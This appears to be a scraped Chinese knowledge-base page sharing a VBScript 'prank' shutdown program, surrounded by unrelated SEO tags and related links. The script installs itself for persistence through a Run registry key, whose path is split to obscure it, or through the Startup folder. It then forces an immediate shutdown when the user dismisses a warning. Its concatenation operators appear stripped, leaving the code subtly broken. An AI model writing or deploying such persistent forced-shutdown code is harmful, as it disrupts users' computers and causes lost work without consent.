主頁(yè) > 知識(shí)庫(kù) > vb下的惡搞關(guān)機(jī)程序

vb下的惡搞關(guān)機(jī)程序

熱門(mén)標(biāo)簽:地圖標(biāo)注政府哪個(gè)部門(mén)管 佛山真人電銷(xiāo)機(jī)器人廠家 哪里有便宜的地圖標(biāo)注公司 東營(yíng)快遞外呼系統(tǒng) 齊齊哈爾高德地圖標(biāo)注店 除了地圖標(biāo)注還有這種生意嗎 神行者美術(shù)館地圖標(biāo)注 如何用機(jī)器人進(jìn)行電銷(xiāo) 百度地圖標(biāo)注點(diǎn)距離代碼

額,不多介紹了,能看懂的就拿走,看不懂的拿走也沒(méi)用。

復(fù)制代碼 代碼如下:

Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK""LM\SOFT""WARE\Micr""osoft\Win""dows\Curren""tVersion\R""un\wxb"
if (fs.FileExists(dirwin"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
 else
c.Copy(dirwin"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請(qǐng)不要隨便動(dòng)我的電腦! " Chr(13) Chr(10) "確定->下次一定會(huì)先征求同意的" Chr(10) "取消->愛(ài)咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then 
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin"\wxb.vbs")
f.Delete()
end if 
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

好了,代碼分享給大家了,不要隨便拿去搞破壞!

您可能感興趣的文章:
  • 可以定時(shí)自動(dòng)關(guān)機(jī)的vbs腳本
  • 自己寫(xiě)的一個(gè)定時(shí)關(guān)機(jī)或重啟的vbs腳本
  • vbs實(shí)現(xiàn)的定時(shí)關(guān)機(jī)、重啟的腳本和程序
  • vbs實(shí)現(xiàn)的eMule電驢自動(dòng)關(guān)機(jī)腳本代碼
  • VBS 斷網(wǎng)后自動(dòng)關(guān)機(jī)30秒后
  • Crack8 VBS整人腳本 你不說(shuō)你愛(ài)我 就關(guān)機(jī)
  • VBS中獲取系統(tǒng)本次及上次開(kāi)關(guān)機(jī)時(shí)間的代碼(WinXP/win2003/Win7兼容版)
  • VB關(guān)機(jī)惡搞小程序

標(biāo)簽:湖州 鶴壁 邢臺(tái) 西安 文山 四平 銅川 巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《vb下的惡搞關(guān)機(jī)程序》,本文關(guān)鍵詞  下,的,惡搞,關(guān)機(jī),程序,下,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。

  • 相關(guān)文章
  • 下面列出與本文章《vb下的惡搞關(guān)機(jī)程序》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于vb下的惡搞關(guān)機(jī)程序的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章